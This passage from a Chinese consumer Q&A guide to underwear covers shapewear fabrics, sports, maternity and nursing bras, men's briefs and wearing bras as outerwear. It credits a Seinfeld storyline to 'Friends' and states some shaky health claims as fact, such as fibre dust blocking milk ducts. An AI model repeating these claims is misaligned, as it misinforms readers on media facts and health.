　　一种用聚氨基甲酸脂制作的合成纤维。分量轻，弹性强，结实，经磨，不吸水和油，是对乳胶成分过敏的人最好的替代品。

尼龙

　　完全是合成纤维，以高柔韧性和回弹性著称。尼龙布料干得快，自然没有缩水和皱褶的问题。尼龙是真正第一种商业化的合成纤维。尼龙纤维有丝的光泽，拉张力比羊毛、丝绸、人造丝和棉都高。尼龙便于洗涤，干得快，无须熨烫，因为不缩水也不伸缩，因此总能保持形态。

莱卡

　　氨纶弹性纤维的一个著名品牌。

Supplex®

　　Supplex®是由美国杜邦公司研制开发的一种尼龙面料。它的手感像棉一样细腻、柔软，虽然是人工布料，却有着棉的外观。轻，透气性强，易干，结实，特别适合做夏季贴身衣物面料。

Tactel®

　　是美国杜邦公司生产的一种高品质的尼龙，化学名称为“聚酰胺纤维”。Tactel®比一般尼龙触感更柔软，透气性更佳，穿着贴身更舒适。用 Tactel®制成的织物抗皱，面料有丝般的光泽，衣物日日如新。

Q49. 调整型内衣面料里的氨纶起什么作用？

　　调整型内衣通常都含有一定百分比的“氨纶”，其与主弹力面料的含量比例多少是决定塑身效果强弱的决定性因素。这个比例通常在 5%～39% 之间，氨纶的含量越高，其支撑度、压缩力和控制力就越强。目前，调整型内衣市场的塑身强度等级有三档，它们的名称及功能特点如下：

高强度

　　功能：可以使腹部略平，腰部略瘦，臀部略小，能帮助你穿进比平时小一到两号尺码的衣服。

　　布料特点：手感厚重，十分紧实，拉伸困难，穿脱不易。氨纶含量在 40% 左右。

　　适合体型：身材偏胖的女性。

中强度

　　功能：可以帮助紧致肌肉，但不能让你穿进比平时尺码小的衣服。

　　布料特点：爽滑，分量适中，拉伸自如。氨纶含量在 20% 左右。

　　适合体型：身材适中的女性。

弱强度

　　功能：可以使你的肌肤均匀平滑，但不会重塑体型。

　　布料特点：通常薄软、轻滑，可以轻易拉伸。氨纶含量在 10% 左右。

　　适合体型：身材纤细的女性。

Q50. 购买调整型内衣，为什么要注意面料的弹性方向？

　　购买调整型内衣时要特别留意面料的弹性方向，因为有的面料是双面弹，也就是只有 180 度左右的弹性，没有上下的弹性；有的是四面弹，即上下、左右 360 度都有弹性。

　　由于肌肉的运动力以上下较大，如果调整型内衣只有左右的弹力，穿起来便会感觉伸展空间不够，身体会不自在。

　　因此，购买调整型内衣时，一定要注意面料的弹性方向。

Q51. 选购调整型内衣还有哪些其他注意事项？

颜色

　　这类内衣最常见裸色和黑色。这是两个可以满足大部分需求的颜色。

　　市场上也会有浅色，如白色、象牙色，但因为调整型内衣通常都使用带有亮光的布料，浅色尤其白色若穿在浅色外衣下，会发生反光，因此浅色外衣下还是应选择与肌肤颜色接近的裸色。

尺码

　　选择调整型内衣时应选择与自己实际尺码相符的尺码。

　　有些人以为选择比自己实际尺码小一到两码的塑身衣，会让自己看起来更瘦。但实际上，我们在设计塑身衣时，已经替你做了这样的考虑。所以，你只需按照自己的实际尺码购买就可以了。如果觉得塑身效果不够，可以选择弹力强度更高一级的款式。

试穿

　　虽然试穿在内衣店不是很受欢迎的事情，但多数内衣店还是提供了这种服务，不过大多要求穿着自己的内裤试穿。因此，如果去买调整型内衣，最好穿比较简单的比基尼或丁字内裤，这样更容易推测塑身衣的尺码是否合适。

　　试穿上身以后最需要注意的是调整型内衣的边缘。虽然这类内衣实际上只是藏肉或巧妙地转移脂肪，但不能让其表现出来。也就是说，如果穿上调整型内衣后能立刻看出你腹部的脂肪被推到腰上了，这件内衣就不合适。调整型内衣的最好效果是让全身线条平滑流畅。

连体衣的开档

　　选购连体衣时，一定要选择有开裆设计的，方便起居。以前开档多使用双排钩眼扣，但这种扣过于硬挺，容易造成敏感部位不适，所以现在设计师都已尽量避免使用这种开裆方式。不过有些款式无法找到其他更合适的开裆替代方法，仍只能使用钩眼扣，这就需要我们在购买试穿时特别留意查看它的做工。

　　强度很大的塑身裤，因为穿脱比较困难，设计师也会做开裆处理。我们在选购时不妨多加留意。

裆部棉衬

　　无论是调整型长裤还是连体衣，裆部通常会有一层衬里。要选择棉质地的衬里。

Q52. 只有丰满的女性需要穿调整型内衣吗？

　　当然不是，调整型内衣是每个女人的必备品。

　　调整型内衣的主要客户看似是丰满女性，其实不然，即使削瘦扁平的人也应该在衣橱里备上几件。

　　原因是即使坚持运动、科学膳食，人类受遗传基因影响还是会有不理想的体型，比如某些地域的女性臂膀特别容易粗壮，某些地方或家族的女性有更多的肩窄胯宽的梨型身材等。而随着年龄的增长，女性身体各部位终究会出现松弛、下垂以及脂肪分布不均的现象，即使身材娇小也不例外。年纪越大，这样的现象就越明显，且越难以控制。这些都需要调整型内衣加以修正和改善。

　　通常情况下，正视这些衰老现象并接受它们的确是积极的生活态度；不过，在一些特别需要身体表现完美的紧急情况下，调整型内衣是可以快速应急的唯一方法。

　　即使是很瘦的人，这种内衣也可以帮助她们将腋下、后背、小腹的脂肪集中包裹到胸部，将大腿根部、外侧的脂肪上提固定在臀部，把扁平身材打造得玲珑有致。

　　而且，如今的调整型内衣材质比以前丰富了很多，早已不局限于勒束身体、减小尺码等单一功能上，而是可以像化妆品一样“美容”肌肉。无论什么样的身材，对美的追求都永无止境。

Q53. 只有女明星需要穿调整型内衣吗？

　　当然不是！

　　女明星的确是调整型内衣的示范榜样，也是高端客户。当她们走上红毯时，身体一律紧致饱满、凹凸有致，不是她们天生比我们不受年龄的摧残，或是做了多少特殊的运动训练，而是她们都穿了调整型内衣，穿的可能是比我们更昂贵，也更合适她们的身体和外衣的调整型内衣，以达成了那种光彩四射的完美效果。普通人自然也有这样的愿望。在稍微特殊一些的场合，穿上调整型内衣也肯定会让我们的心更为踏实无虞。

　　除了特殊场合，女性对塑身也有了更多需求，这跟如今的着衣风格有很大关系，因为需要穿合体衣服的场合越来越多。上班需穿修身正装，下班偶尔需要跟同事或合作伙伴喝杯酒、吃顿饭，通常也都要穿能够显示身材的裙装。一般的日内衣，比如基础文胸和内裤，无法帮你实现“完美”或“体型更好”的效果。比如身穿一条昂贵的丝绸长裙却不幸露出令人难堪的肚腩时，或者穿着性感的薄纱鸡尾酒裙，对面的人却能隐约看见你腋下起伏的脂肪群时—你唯一可以快速求助的，只能是一条长款束腹衣。而它也的确不负众望，可以立刻让你感觉到不同：腹部平坦了一些，腰细了一些，臀部窄了也提高了一些，大腿和小腿都紧实了一些。上述这些“一些”，可以是一个尺码，甚至是三四个尺码。

Q54. 调整型内衣真的能让你变瘦吗？

　　现代女性对调整型内衣的普遍希望其实是让身体变得苗条。但这种内衣真能帮助我们达成这一愿望吗？我的回答是否定的。

　　一个例证：调整型内衣虽然在近二三十年迅猛发展，可欧美市场上调整型内衣的尺码并没有变小，反而一再加大，现在竟已突破了 DD。要是调整型内衣真的有用，它的尺码应该变得越来越小，不是吗？

　　2013 年底和 2014 年上半年，美国曾有两家以设计制作调整型内衣闻名的内衣公司遭到用户起诉，原因都是不当宣传其调整型内衣有永久瘦身和塑形的功效。这两家公司都在其广告里宣称，他们在某些塑形款式上使用了新面料“Novarel 瘦身微纤维”，这种纤维因为含有咖啡因而有消解脂肪的功效。起诉者认为，他们在穿了这几款调整型内衣后并没有看到这样的效果。这两场官司均以公司承认广告宣传与事实不符而结案。

　　那么，市场上常规的调整型内衣究竟能起到什么作用呢？

　　在我看来，它的确通过将身体某个部位的脂肪转移或压迫到了不想被你自己或其他人看见的地方，从而让你的体型发生了一些有利的变化，不过只是在相对短暂的时间内，比如一场酒会、一场颁奖典礼等。脱下调整型内衣后，如果没有发生其他的诱因，身体大多会回到原来的状态。

　　不过，市场上的确存在一些非常规的调整型内衣。这类内衣使用特殊的具有高科技含量的材质制作而成，通过长期穿戴确实能实现塑身功效。它们通常价格昂贵，多半高达 1000 美元左右，甚至更多。

　　因此，若想让身材达到理想的状态，还是要寻求更积极和实事求是的方法，比如调节饮食、有规律的锻炼，这是比吃减肥药或穿调整型内衣都更健康的方式。

Q55. 运动时一定要穿运动文胸吗？

　　答案是肯定的。

　　有些人可能认为：“哦，不用，我是 A 罩杯，我不需要穿运动文胸。”

　　这绝对是错误的认识。即使是 A 罩杯的女性，在运动时，胸脯也会有 4 厘米左右的晃动幅度。乳房越大，晃动幅度就越大，G 罩杯女性在运动时乳房的晃动幅度可高达 14 厘米。14 厘米是什么概念？一部 iPhone 6 Plus 手机的长度！

　　女性乳房其实是人体少有的没有半点肌肉的器官，很不喜欢来回晃动。如果反复晃动又得不到特别的保护，它的韧带极其容易损伤。而胸部韧带一旦真的受伤，不但再也不能修复，也不能通过运动再得到加强。因此，即使在做不那么激烈的运动，比如爬山、慢跑时，也应该穿上合适的运动文胸，帮助降低胸脯的晃动幅度。

　　如果不穿，会出现什么结果？这其实是我最想在这里告诫各位女性朋友们的：如果胸腔连接胸脯的韧带长期得不到有力支撑，最终会造成乳房位置变化和最糟糕的情况—下垂。很多女性为下垂的问题而苦恼，其实一个简单易行的解决办法就是赶紧穿上有一定承托力的运动文胸。

Q56. 应该选择什么样的运动文胸？

款式：不同的胸型应该挑选不同的设计款式

　　原则上讲，胸部较小的女性应选择压缩款式，通常是一片式，中间没有接缝。这种款式会让乳房扁平，只需让它们相互靠近一些就可以防止运动时的晃动。

　　胸部较大的女性应选择有分离式罩杯的款式，分离式罩杯通常有强化支撑功能元素，比如特别增加的针脚等，让两个乳房各自待在罩杯里以减少晃动幅度。

布料：不再有纯棉的运动文胸

　　用纯棉布制作的运动文胸现在已经很少了，因为纯棉吸汗能力太强，被汗水浸湿后会变得沉重；湿透以后紧贴在身上，既难看，又给运动造成不便。

　　如果在市场上见到样子很像运动文胸，可使用的是纯棉布料，那么即使再像运动文胸，它也一定只是借用运动文胸概念制作的普通基础文胸，不可能是真正的运动文胸。

　　真正的运动文胸，一定是使用有强吸水功能的化纤布料制成，而且还会根据不同运动的出汗量，使用不同吸汗强度的布料。

做工：不能对肌肤造成任何不适感

　　通常运动文胸都是使用双层以上布料制作，做工好的会特别注意内侧的接缝不会过硬或过厚，贴紧皮肤时不会让你有异物感。越是优质的运动文胸越应该让你意识不到它的存在，它就好像是你身体的一部分。

　　如果运动文胸上有拉锁或扣钩，应选择不直接接触皮肤的那种，以避免引发皮肤敏感或不适。

Q57. 为什么我们需要根据运动种类选择运动文胸？

　　根据你的运动项目及爱好选择不同强度的运动文胸，是近年来出现的新理念。因为不同的运动项目，比如马拉松、普拉提或瑜伽，给胸部造成的晃动幅度和方向是不同的。

　　越来越多的运动文胸生产商注意到这一点，开始通过研究运动对身体的影响而研发针对不同运动种类的运动文胸，为爱好运动的女性提供更优质、更细致的选择。比如马拉松，乳房晃动方向是上下；而瑜伽则主要是胸部受到拉伸。

　　目前为止，市面上常见的运动文胸有三种不同支撑强度：轻度、中度和高度；每种强度再细分为低、中、高三种对胸脯的遮盖度。支撑度和遮盖度经过各种排列组合后就能适应多种运动种类。总体说来，支撑度和遮盖度越高，适应的运动强度和出汗量也就越高。

　　例如：

　　低支撑度+低遮盖度：适合瑜伽；

　　低支撑度+中遮盖度：适合一般健身；

　　中支撑度+中遮盖度：适合一般性跑跳；

　　高支撑度+中遮盖度：适合长跑。

　　这样经过细分的运动文胸在价格上肯定比一般运动文胸要高，甚至高很多，不过对身体起到的保护作用不言而喻。我一直认为，在消费和我们身体有直接关系的物品时，不要过多地纠结于价格，因为身体本身就是你最大的金库。

Q58. 生理期需要穿特殊的文胸吗？

　　女性的月经初潮平均在 12 岁，绝经年龄大概在 55 岁左右。这样一算，女性一生平均会经历约 516 次月经，每次按 6 天算，一生有 3000 多天在经期，约等于八年半。不算不知道，一算吓一跳，生理期对于女性来说有多重要自不用多言。什么样的内衣能帮我们一起度过这段特殊时期，也变得至关重要。

　　生理期内，女性的身体会有不同程度的变化，最明显的反应就是肿胀。因为乳房的腺体与子宫内膜一样，也会随着月经周期的变化而出现经前增生期和经后复原期的变化。很多人发现这一时期除了乳房好像突然变大了，小肚子也会圆鼓鼓；等到生理期一过，才会恢复到之前紧绷绷的样子。目前还没有专为生理期设计的文胸，不过这段时间里，只要选择面料柔软、不带钢圈、束缚性小的文胸就可以。尺码应选大半杯，给乳房以足够的放松空间。

　　这段时间不要穿任何调整型内衣，否则其塑身功能会让身体感受到压迫，十分不适。

Q59. 什么是孕妇文胸？为什么要穿孕妇文胸？

　　有人以为孕妇的胸围变大，只要选择大尺码的文胸就可以了，这其实是非常错误的。普通的大尺码文胸并不是根据怀孕这一女性特殊时期的胸脯变化而做的设计，因此无法满足孕妇对文胸的特殊要求。

　　孕妇文胸，是根据孕妇的生理变化而专为其设计的文胸。它不应有硬钢圈，而且透气性要好，需要有防溢乳垫等。通常这些是普通的大尺码文胸不会考虑的。

　　女人从怀孕后到第 16 周左右，乳房明显开始变大，这时候就该考虑穿戴孕妇专用文胸了。

　　女人从怀孕到分娩，随着怀孕月数的增加，乳房也跟着不断变大，大到增加两个罩杯，给孕妇的脊椎造成较大的负担。如果孕期不戴文胸或是不及时更换成孕妇文胸，并在孕期的不同阶段未能适时更换成尺码合适的文胸，那么增加的乳房重量将得不到实物支撑，时间久了就会导致乳房下垂、变形。而乳房内的纤维组织一旦被破坏就很难复原。

　　不穿孕妇文胸还会造成病痛。

　　乳头在孕期会变得比较脆弱，对文胸的要求变高。如果文胸的罩杯小了，会直接压迫到乳头。如果文胸内衬不够柔软、透气，乳头无法保持干爽，也可能会加重孕妇的疼痛感。

　　所以，女人在孕期的不同阶段，除了要穿孕期文胸，还要根据乳房的不断变化调整文胸的尺码和材质。

Q60. 在孕期的不同阶段该如何选择文胸？

　　我们可以把孕期分为三个阶段。

　　第一个阶段是怀孕初期，即 1～3 个月期间。此时，大部分孕妇的乳房已开始变大，除了些许疼痛，偶而还会摸到肿块。另外，乳房表皮正下方会持续出现静脉曲张，乳头颜色也会变深。这个时候孕妇的乳房会变得敏感，需要特别的保护，最好选择专为孕妇设计的无钢圈全棉文胸。不过由于乳房还没发生大的变化，所以尺码上只要穿着稍微宽松、自己觉得舒服就可以了。

　　怀孕中期阶段指的是 4～7 个月期间。此时胸部明显变大，要开始穿戴较大的、能完全包住乳房、不挤压乳头，并能有效支撑乳房底部及侧面的孕妇专用文胸。这个时期乳房内开始生成乳汁，部分孕妇会溢乳，此时应使用防溢乳垫来吸收溢出的乳汁。为了方便放置和固定乳垫，许多专用孕妇文胸在罩杯内会装有袋口及辅助带。

　　怀孕晚期是指 8～10 个月期间。原则上，乳房没有新的变化，只是上围和下围都会更大，肿胀感当然也更为严重。这个时候乳房的重量会比平常足足重 1 公斤，给孕妇的脊骨带来越来越大的负担。此时要选择特别剪裁的胸围，如全杯设计、宽肩带和内藏软钢圈等，有助加强对胸部的承托力，以减轻脊骨、腹部及胸部的负担。

　　特别要说一下，为什么这个时候要穿带有软钢圈的文胸呢？因为此时如果文胸下缘没有支撑，就不能阻止乳房的下垂。但绝对不能使用硬钢圈，因为硬钢圈会压迫到下胸围，影响乳腺组织的健康。软钢圈文胸则既能支撑重量，又舒适健康。

　　此时文胸的肩带也要选择加宽的，以便有足够的拉力给乳房提供足够的支撑，也可防止肩部出现紧绷感，很好地分担胸部重量的压力。肩带不可过紧，过紧则可能束缚孕妇的正常活动，所以最好选择调节度比较大的肩带。

　　总之，孕妇在整个怀孕过程中要随时查看自身乳房的变化，更换最合适的文胸。在整个孕期内，孕妇可能需要更换 4～5 次内衣的罩杯尺码。

　　除此以外，腹部和臀部在怀孕过程中也在不断增大，所以内裤亦要选择用高弹力布料制作的生产期用束裤，以加强支持承托胎儿及保护腰背部的力量。材质应该选用含有较高比例的氨纶，既吸汗又透气，以保持身体的干爽。

　　如果觉得内裤穿起来有紧绷、不舒服的感觉，表明这条内裤已经不合身，需要更换新的尺码。

Q61. 孕期选择文胸应该注意什么？

面料要柔软、透气

　　以全棉材质为最佳，特别是内衬的面料要细致、柔软，贴身穿着可以减少对乳房的直接刺激，减少对乳头的摩擦。

　　孕期女性体内激素发生了改变，体温会升高，比以前爱出汗。棉质与其他材料相比，吸汗、透气性好，有利于保持乳头的舒爽。

尺码要合适

　　文胸的作用在于它能支撑乳房并为其提供保护。只有尺码合适了，文胸才不会压迫到乳头和乳腺，从而避免发炎现象。什么是合适的尺码？两个标准：一是罩杯的大小能完全贴合胸部，没有多余的脂肪漏出；二是下胸围完全贴近皮肤，不会过紧或过松。

肩带要宽、易调节

　　合适的肩带能够减轻对脊椎和胸部的压迫，宽肩带显然支撑性更强。在试穿时，可以抬起双手来试试肩带是否合适，如果它可以紧贴在肩部又不会掉下就可以。

Q62. 哺乳期应穿什么样的文胸？

Q63. 哺乳文胸有哪些主要特点？

一般有授乳开口设计，解扣方便

　　母亲在哺乳时，可以一手抱着宝宝，另一手解开扣子。

　　依据设计的不同，授乳开口有三种：

全开口式

　　罩杯仅以活动纽扣与肩带衔接，要哺乳时无须将胸罩脱下，只要解开扣子，罩杯即可完全向下掀开，露出整个乳房。

开孔式

　　在罩杯上开门，掀开这扇门时，只露出乳头、乳晕及其周围，有一定隐蔽性。

前扣式

　　两罩杯的纽扣位于中心位置，利于单手解、系，并可直接看得见。

　　前扣式哺乳方便，但胸罩底边无拉力支撑，对于特别丰满的乳房更适用。也比较适合居家或睡觉时穿着，可以让乳房得到放松与休息。

罩杯内有方便放置和固定乳垫的袋口及辅助带

　　在产褥期和哺乳期，经常会有多余的乳汁溢出，被称为溢乳问题。随时放入可更换的乳垫能帮助吸收这些多余的分泌物，保持乳房舒爽。

　　因为哺乳文胸需要添加乳垫，所以购买时要考虑留出适当的空间。

Q64. 选择哺乳文胸时应该注意什么？

  1. 多选用柔软棉布制成的文胸。

　　好的哺乳文胸会采用针织棉布制作，而不用化纤布料。这是因为化纤织品的纤维尘粒有可能进入乳腺导管，导致乳汁分泌、排泄障碍。所以产妇在选择时请一定认准棉成分。

　　细软的棉布不会硌着或压迫乳房，也不会对乳头产生不良刺激。

  1. 罩杯的角度应明显上扬且有深度，应是全罩杯。这样才能包裹住丰满的乳房，并给乳房足够的支撑。
  2. 罩杯的底部应有柔软定型钢圈，底边是较宽的 W 型托衬。这样的设计能够完全托起丰满的乳房，并给乳房一个向上的托力，保护增大的乳房不会下垂变形。钢圈应用纯棉织物包裹制成，以防止磨伤皮肤。

　　对于哺乳文胸是否应有钢圈一直存在不少争议。有钢圈的哺乳文胸能更好地支撑变大的胸部；但是，钢圈也有可能压着乳腺管，直接影响哺乳。要是乳腺管阻塞，还会引起乳腺炎。

  1. 如果罩杯不是带钢圈的，罩杯下方的底边则要够宽，要用有弹性的面料制成（比如棉+莱卡）。底边可以稍长，这样腋下及后背部就不会形成凹沟。
  2. 文胸的肩带方向要上下垂直，而且应尽量宽一些，至少应有两个手指的宽度，这样即使是比较丰满的乳房也不会造成肩部酸痛。
  3. 胸罩的颜色最好选择本白色，因为纯白色在染色时有可能加入了漂白剂，太过鲜艳亮丽的颜色有可能加入了染色材料，从而使皮肤产生不适，损害婴儿的健康。
  4. 女性若在公众场合喂奶，在穿着哺乳文胸的同时如果能搭配其他护理衣服，会让哺乳过程更轻松。很多人希望保留哺乳的私隐性，市场上有专为哺乳设计的哺乳巾。

Q65. 哺乳期结束后应该穿什么样的内衣？

　　女性在生产后身体有自我调节机制，帮助其恢复至产前的状态，因此出现新陈代谢加快、出汗和阴道分泌物增多、胸部肿胀和敏感等情况，这时候，如果选择合适的产后内衣则有助于加快体型的恢复速度。

　　这种内衣就是调整型内衣。

　　什么时候开始穿调整型内衣比较好呢？哺乳期结束，且胸部涨痛感消失时，就是穿起调整型内衣的最佳时候。

　　适合产后女性的调整型内衣种类很多，有塑形胸部、腰部的，也有塑形腹部和腿部的，其中调整型文胸是最受女性欢迎的，因为怀孕期间由于支撑乳房的韧带被拉伸，乳房普遍会有下垂现象，穿上产后塑身专用文胸可以予以适当的矫正。它可以集中托起胸部，修饰胸部线条，使胸部更挺立、丰满，甚至可以使脂肪移位，重塑美胸曲线。

　　但对于这种调整型内衣不要过度迷信。说到底，调整型内衣并不能消灭多余的脂肪，而只是转移脂肪，所以，真正的塑身还是要通过持之以恒的锻炼方能达到。

　　穿调整型内衣要特别慎重，不要急于求成，不要长时间穿着过度紧绷的调整型内衣，否则会给呼吸造成困难。假如穿着期间有任何不适就应马上脱下，向医生咨询后再决定是否继续使用。

Q66. 你会买情侣内衣给另一半吗？

　　所谓情侣内衣，就是花色、款式相似或相对的内衣。常见的情侣内衣有情侣内裤和情侣睡衣、情侣家居服等。

　　情侣内衣是表达爱意的一种浪漫方式，通常由一方买给另外一方。情侣内裤可以增加卧室乐趣，而且当相爱的人看到彼此时，会感受到两人紧密不分的感情，或是希望在一起的愿望。

　　情侣睡衣和情侣家居服的接受度可能比情侣内裤更高，而且男性也可以大方地买给女性，我们常遇到男性选购情侣家居服的案例。两个人穿着相配的睡衣或家居服一起窝在沙发里看书、看电影，一起做家务，一起出门散个步，都会让彼此感受到二人世界的温暖和闲适。别小看一件衣服，它所传达的不仅仅是浪漫的氛围，还有一种对持久、稳定生活的向往。

　　如果你还没给自己的另一半买过情侣内衣，请赶紧行动吧！

Q67. 你会给他买什么样的内衣？

　　“我会给他买内裤，他的内裤都是我买的！”这可能是大多数女性的回答。

　　根据调查显示，男人在 33 岁以后自己购买内裤的频率几乎为零，因为他们大多数开始进入稳定的关系（婚姻关系或恋爱关系），买内裤的事多半会交给女友或太太。而且女性多半也有这样的想法，她们会觉得他的内裤由我买，他就是我的。不过作为伴侣的你，在慢慢接手这件事后，是否意识到你的责任其实很大？因为与其说他们后半生内裤的好坏将由你决定，不如说他们生活的如意与否也在你的把握之中。

Q68. 如何为他挑选合适的内裤？

　　根据伴侣的实际情况挑选材质。不要迷信纯棉面料。

　　很多人都认为纯棉面料的衣物最好，尤其内衣、内裤，甚至非纯棉不买。其实这种做法未必合适。纯棉面料柔软，吸湿性强，但排湿性差，不易干，对于多汗体质，尤其是长时间驾车的男性来说，容易造成湿疹。不过，现在大部分纯棉内裤里会加 10% 左右的氨纶，也就是弹性纤维，让内裤穿起来更为贴身、舒适。所以，要根据男性的实际情况挑选内裤的面料。

　　除了棉与氨纶，还有其他一些材质也比较常见。

尼龙

　　轻巧柔软、耐磨高弹、不易变形，既吸湿又速干，是理想的男士内裤面料。不过，尼龙毕竟是化纤材质，请在选购前务必先了解他是否对尼龙有过敏反应。另外，尼龙不宜用 40℃以上的热水洗涤，否则容易丧失弹力。

莫代尔

　　手感柔软爽滑，有更强的吸湿排汗能力。缺点是承托力不够，且容易起球。有些男士内裤选择用棉与莫代尔混纺的材质，再加一定比例的氨纶，就会更为舒适。

竹纤维

　　原料取自天然生长的竹子，除了纤维细度、干强指标、吸湿排汗能力高于普通棉面料外，还有抗菌、除臭等功能。但其光泽度不如莫代尔，且跟莫代尔一样，承托力一般。

CoolMax®

　　一种速干面料，轻薄、透气，本来多用于运动内衣，可迅速将汗水和湿气导离皮肤表面，时刻保持干爽、舒适。由于其纤维中空的特性，冬暖夏凉，是高级男士内裤的首选面料。如果你的伴侣喜爱运动并会在运动时大量出汗，就为他备好几条 CoolMax®材质的内裤吧。

　　除了面料外，款式也是需要根据实际需求来考量、选择的。男式内裤紧身款通常有平角裤和三角裤两种可选。

　　选择哪种更合适呢？首先我们要注意到，男式内裤的作用不仅仅是为了遮羞，还有一个重要的作用就是保护睾丸，并且减少大腿与外裤的摩擦，还要防止异味外漏。出于这么多考虑，平角裤显然比三角裤更容易受到男性的欢迎。如果你的伴侣是商务人士，经常穿西装裤，紧身平角裤紧贴大腿以及提臀的设计就更适合他。因为西装裤面料轻薄而且裁剪平整有形，平角裤的裤筒边缘可以延伸到大腿，不会在外观上留下尴尬的内裤痕。如果你的伴侣特别在意内裤痕的话，你也可以为他选择无痕贴合款。

　　如果你的伴侣热爱运动或者爱穿牛仔裤，可能会更钟情于三角内裤，因为它能给大腿更多伸展空间。牛仔裤厚，不易露出里面的内裤痕，三角裤穿在里面更加包臀贴身，可以对睾丸形成很好的保护，也会让他感觉舒适透气。另外，夏天外裤比较轻薄，为了美观和凉爽，最好为你的伴侣备上几条三角裤。

　　总之，无论选择哪种紧身内裤，都要注意囊袋部位的立体感是否足够。囊袋是能托住睾丸的设计，防止下垂和与大腿内侧的相互摩擦，需要通风透气，也方便如厕。立体感不够的囊袋会压迫睾丸，影响血液循环。但也不要过松，过松的内裤穿在长裤下会显得十分臃肿。

　　当然还可以为伴侣买睡衣和家居服，我个人认为，这是你更应该为伴侣买的内衣。能想到为伴侣买睡衣和家居服的女性，内心对另一半的爱更体贴，也更无私。

Q69. 什么是拳击内裤？

　　男士内裤里还有一种不紧身的平角内裤叫拳击内裤，即英文里的“Boxer”，也为众多男士喜爱。通常用梭织棉制成，因此不紧身。拳击内裤有两种，一种有后中接缝，后裤片是两片；一种没有，后裤片是一整片，穿在身上完全不会有臀沟的夹裆现象。没有后中接缝的，也叫“阿罗裤”，是由美国阿罗内衣公司研发，因此而得名。如果你的伴侣体型偏胖，一定会喜欢阿罗裤。这两种拳击内裤都是宽松款，购买时，要尽量买修身合体的尺码，否则如果太过宽松的话，布料会在他的长裤下堆起，显得臃肿。

　　现在市场上有很多所谓的“人性化”男式内裤设计，比如在关键部位进行立体剪裁，能够与身体贴合得更紧密，又能保证充裕的呼吸空间；裆部使用透气性能更好的布料做衬，甚至使用通常用于运动内裤、有冰酷感的面料，让男性的敏感部位凉爽、舒适；或专门针对牛仔裤面料较厚的特点而设计的抗摩擦内裤。这些都在努力对男性生殖器官加以特别保护，而女性为伴侣挑选时，也要更为用心。

Q70. 今天早上我该穿哪件文胸？

Q71. 软杯文胸外穿怎么避免凸点尴尬？

　　尽量选择有插片开口设计的软杯文胸，需要时插入一副棉垫即可。

　　小插片大部分用蓬松棉制作，选择上面有均匀打孔的插片，透气性会更好。洗涤文胸时，记得将棉垫抽出单独手洗，不要用洗衣机洗。

Q72. 日常通勤可以穿运动文胸吗？

　　在回答这个问题前，要先分清有功能性的运动文胸与有运动风格的文胸的不同。前者是真正的运动文胸，后者说白了是长得像运动文胸的基础文胸。

　　功能性运动文胸的布料成分里通常有较高含量的氨纶，氨纶的含量越高，弹力强度越大，压迫感也会越强。长时间穿戴高强度运动文胸，乳房会因压迫产生不适感，所以不建议日常穿着强度较高的运动文胸。

　　而有运动风格的文胸使用的材质其实与基础文胸差不多，比如棉+氨纶、莫代尔+氨纶等，只是在设计风格上使用了运动元素，但本质还是基础文胸。这样的文胸不会造成任何压迫，是日常通勤的好选择。

　　现在的运动文胸不仅仅是为运动而设计的，而是演变成了有运动风格和元素的文胸。

Q73. 高强度的运动文胸穿戴十分困难，该怎么办？

　　高强度的运动文胸是为了特定的高强度运动项目设计的，比如剧烈跑步、强力健身等。为了给胸部足够的支撑，文胸通常会使用超高氨纶含量的材质，效果就是非常紧绷。因为某些高强度运动会让文胸接触到地面，比如在地上翻滚、背部着地等动作，这类文胸都不在底围设计背钩开口，为穿戴造成了极大的困难。

　　甚至有人抱怨说，穿一次这种高强度的运动文胸，手臂几乎抽筋，心脏几乎骤停。虽然不免夸张，但的确说出了很多人的心声。

　　现在已经有越来越多的设计师和生产厂商注意到了这个问题，在区别运动强度的同时，也为强度没有那么大的运动文胸设计了各种开口，让穿戴尽可能方便。而且，近两年生产厂商也为市场提供了一种非常适合运动文胸的调节带，即使背部着地，也不会太“硌”，让开口更为美观，也更为实用。

　　不过，如果你做的是高强度运动，就必须选择高强度运动文胸，穿戴时的困难就只好忍受一下了。

Q74. 文胸可以外穿吗？

　　“文胸外穿”现已成为一种时尚潮流，我们看到很多明星都有过示范。

　　内衣外穿的风潮始于胸衣外穿，但凡对胸衣历史有点了解的人，可能都知道 20 世纪 90 年代麦当娜那场“金发野心”的世界巡演。那场演出给世界留下了深刻的印象，除了她的舞台表现，还有几款特别的胸衣演出服，它们甚至比她唱了什么更为人津津乐道。

　　为她设计这些演出服装的是法国设计师让-保罗·高缇耶，在麦当娜演唱会后，他接连推出了更为夸张的几款外穿胸衣，比如将胸部做成尖锐无比的锥形，成了名符其实的“胸器”；胯骨被更戏剧化地强调，骨盆被超现实放大。

　　自胸衣开始被外穿以后，文胸也渐渐有了外穿趋势，只不过游戏的成分比较大。

　　以纽约生活为背景的情景喜剧《老友记》，在 1996 年初播出一集“球童”，副线故事讲的是糖果公司女继承人苏，仗着自己胸部曲线优美，无论穿多轻、多薄的外衣都从不穿文胸打底。女主角伊莱恩是她的中学同学，在街头偶遇后对她嫉妒不已，她在苏生日时恶作剧地送上一件式样传统的全罩杯白色棉布文胸。不料，苏又开始在光天化日之下只穿文胸不穿外衣招摇过市，并吸引了更多的男性目光。男主角亏默正好开车经过，因为一直盯着她看而酿成车祸。这让人由衷地佩服《老友记》的两位男性编剧对“内衣外穿”这一时尚热点的敏感，他们第一次在文艺作品里将“内衣外穿”表现得如此生动。

　　不过，敢在大街上只穿传统文胸的人并不多。毕竟胸是最重要的女性特征之一，暴露得像苏那样难免有危害社会秩序之嫌。同时，自信乳房长得完美的人总是少数，毕竟大多数人买文胸的目的是为遮掩，而非暴露。

　　因此，现在最多被外穿的文胸是运动文胸。很多人喜欢运动文胸的大胆配色、遮盖度高，又有特别的支撑力。因此，穿上运动文胸，再穿一件薄外套就走上街头的人越来越多。

　　而一般传统样式的文胸被穿出来时，常常会穿在打底衫或紧身毛衣外面，它们更像是一种配饰，总是带有点时尚的游戏性，合不合身也全无所谓。不过搭配得当的话，确实能穿出特别的美感。

Q75. 夏季需要穿打底文胸吗？

　　夏季因为穿 T 恤较多，需要一件特别好的 T 恤式文胸。

　　所谓 T 恤式文胸，是一种无缝模杯式文胸，被认为是穿在 T 恤、针织衫和紧身衣下最理想的文胸款式。

　　T 恤式文胸通常使用平滑的面料，线条简洁、流畅，没有任何多余的装饰，因此在类似 T 恤这样轻薄的外衣下也不会显露文胸的痕迹。

